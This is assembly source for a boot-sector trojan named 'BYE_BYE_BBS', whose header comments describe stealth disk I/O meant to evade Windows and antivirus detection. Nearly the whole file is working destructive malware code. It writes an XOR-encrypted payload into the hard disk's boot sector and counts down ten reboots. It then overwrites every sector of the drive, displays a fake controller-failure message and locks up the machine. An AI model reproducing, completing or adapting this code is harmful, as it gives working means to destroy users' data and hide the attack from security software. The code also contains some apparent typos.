; BYE_BYE_BBS By Commander Crash ; This trojan horse demonstrates the use of stealth disk I/O techniques to avoid detection from Windows ; and all antivirus software. ; How it works: ; The actual trojan is quite simple, and is designed to simply demonstrate one practical use of the ; stealth disk I/O routines. When this program is run, it installs encrypted boot sector code in the ; hard disk's boot sector after making a backup of the boot sector in sector 7. When the victim reboots ; his/her PC, it is loaded into 0000:7C00 in memory. The trojan first decrypts itself into 8000:0000 and ; continues from there, effectively moving itself out of the boot area in memory. It then decrements a ; counter in the boot sector. If it hits 0, it then corrupts the drive. Any further attempts to boot ; simply display an error and shuts the HDD down. If the counter hasn't reached 0, the sector 7 is loaded ; from disk to 0000:7C00 (Good thing we got outta there) and control is given to it once again. The boot ; process then continues normally. .MODEL tiny .STACK 200h HDDATA Equ 01f0h HDERROR Equ 01f1h HDPRECOMP Equ 01f1h HDSECTORS Equ 01f2h HDSECTOR Equ 01f3h HDCYLLOW Equ 01f4h HDCYLHIGH Equ 01f5h HDDRHEAD Equ 01f6h HDDCMD Equ 01f7h HDSTATUS Equ 01f7h ; Hard disk drive port definitions STEALTH Equ 08000h ; Stealth bit to use to hide disk I/O READ Equ 020h ; HDD commands (Read data) WRITE Equ 030h ; (Write Data) ON Equ 040h ; (Turn on HDD via read verify) OFF Equ 0E0h ; (Spin down HDD) SLEEP Equ 0E6h ; (Turn off HDD for good; at least till reset) .CODE ; Installer mov ax, cs mov ds, ax ; set up data segment mov es, ax mov di, OFFSET sectorData mov ax, 0 mov bx, 0 mov cl, 1 mov ch, 1 mov si, READ call hdRW ; Read in the old boot sector mov di, OFFSET sectorData add di, 401 cmp BYTE PTR[di], ';' ; Look for ";)" Signature jne short nosig cmp BYTE PTR[di+1], ')' je short exit ; If we're already installed, exit nosig: mov ax, OFFSET sectorData mov di, ax mov ax, 0 mov bx, 0 mov cl, 7 mov ch, 1 mov si, WRITE call hdRW ; copy the boot sector in sect 7 mov di, OFFSET sectorData mov si, OFFSET bootProgram cld mov cx, OFFSET bootProgramEnd - OFFSET bootProgram rep movsb ; Copy our program into the boot data mov cx, OFFSET bootProgramEnd - OFFSET start mov di, OFFSET start - OFFSET bootProgram add di, OFFSET sectorData mov si, di EncryptNextbyte: lodsb xor al, '*' stosb loop encryptNextByte ; Scramble part of the trojan mov ax, OFFSET sectorData add ax, 400 mov di, ax mov [di], BYTE PTR 0Ah ; Counter in boot (10 times) mov [di+1], BYTE PTR ';' mov [di+2], BYTE PTR ')' ; Signature in boot mov ax, OFFSET sectorData mov di, ax mov ax, 0 mov bx, 0 mov cl, 1 mov ch, 1 mov si, WRITE call hdRW ; Write the new boot sector exit: mov ah, 4ch int 21h ; Terminate the program ; Boot sector program bootProgram: ; This is at 0000:7COOh cld ; loader mov ax, cs mov ds, ax mov si, OFFSET start - OFFSET bootProgram + 7C00h mov cx, OFFSET bootProgramEnd - OFFSET start mov ax, 8000h mov es, ax mov di, 0 decryptNextByte: lodsb xor al, '*' stosb loop decryptNextByte ; copy our code to 8000:0000 DB 0EAh, 00h, 00h, 00h, 080h ; Jump to our code (jmp 8000:0000h) start: mov ax, 09000h mov ds, ax mov di, 0 mov ax, 0 mov bx, 0 mov cl, 1 mov ch, 1 mov si, READ call hdRW ; Read in our boot sector mov bx, 400 cmp BYTE PTR [bx], 0 ; Has our counter hit 0 already? je errMessage ; Yes? Show error message dec BYTE PTR [bx] ; No? That's 1 less time... mov di, 0 mov ax, 0 mov bx, 0 mov cl, 1 mov ch, 1 mov si, WRITE call hdRW ; Save the new counter mov bx, 400 cmp BYTE PTR [bx], 0 je wipeDrive ; We just hit 0? WipeDrive xor ax, ax mov ds, ax mov ax, 07C00h mov di, ax mov ax, 0 mov bx, 0 mov cl, 7 mov ch, 1 mov si, READ call hdRW ; Read in the old boot sector DB 0EAh, 00h, 07Ch, 00h, 00h ; Jump to old boot sector @ 7C00h errMessage: mov cx, 26 mov si, OFFSET errText - OFFSET start mov ax, cs mov ds, ax outLoop: mov ah, 0Eh mov al, [si] inc si mov bx, 0007h int 10h loop outLoop ; Show the error message mov dx, HDDCMD or STEALTH ; Shut the HD up. mov al, SLEEP out dx, al lockup: jmp short lockup ; Freeze up the system wipeDrive: mov ah, 08h mov dl, 080h int 13h ; Get drive parameters inc dh mov MAXHEADS, dh and cl, 01Fh inc cl mov MAXSECTS, cl mov bx, 0 ; bx = cur cylinder mov cx, 0101h mov ax, 0100h nextSect: mov di, 2600h mov si, WRITE push ax push cx push bx call hdRW cli pop bx pop cx pop ax inc oh cmp ah, MAXHEADS jne nextSect mov ah, 0 inc cl cmp cl, MAXSECTS jne nextSect mov cl, 0 inc bx jmp short nextSect errText: DB 0Ah, 'HDD 0 controller failure', 07h MAXHEADS DB (?) MAXSECTS DB (?) ; hdWait ; Waits for the hard drive and controller to finish it's current task before returning. hdWait Proc Near push dx push ax hdWaitLp: mov dx, HDSTATUS or STEALTH in al, dx mov ah, al and ah, 050h cmp ah, 050h jne short hdWaitLp and al, 080h cmp al, 080h je short hdWaitLp pop ax pop dx ret hdWait Endp ; hdRW ; Reads or writes a block of data to or from the hard drive ; DI - Buffer, AL - drive, AH - head ; bx - cylinder, cl - sector, ch - numsectors, si - read/write hdRW Proc Near call hdWait cli ; Leave me alone, other ints! shr al, 4 or al, ah or al, 0A0h mov dx, HDDRHEAD or STEALTH out dx, al ; Set up drive_and head register mov dx, HDCYLLOW or STEALTH mov ax, bx out dx, ax ; Set up the cylinder registers mov dx, HDSECTOR or STEALTH mov al, cl out dx, al ; Set up sector register mov dx, HDSECTORS or STEALTH mov al, ch out dx, al ; # of sectors to xfer mov dx, HDDCMD or STEALTH mov ax, si out dx, al ; READ/WRITE call hdWait mov dx, HDSTATUS or STEALTH drq: in al, dx and al, 08h cmp al, 08h jne drq ; Wait for data request cmp si, READ je readNextSector writeNextSector: ; Write 256 words for 1 sector mov bl, 0FFh writeNextByte: mov dx, HDDATA or STEALTH mov ax, [DI] out dx, ax add di, 2 dec bl cmp bl, 0FFh jnz short writeNextByte dec ch jnz short writeNextSector ; Loop till done with all sectors jmp short exitRW readNextSector: mov bl, 0FFh ; Read 256 words for 1 sector readNextByte: mov dx, HDDATA or STEALTH in ax, dx mov [DI], ax add di, 2 dec bl cmp bl, 0FFh jnz short readNextByte dec ch jnz short readNextSector ; Loop till done with all sectors exitRW: sti ret hdRW Endp bootProgramEnd: sectorData DB 512 DUP (?) end start END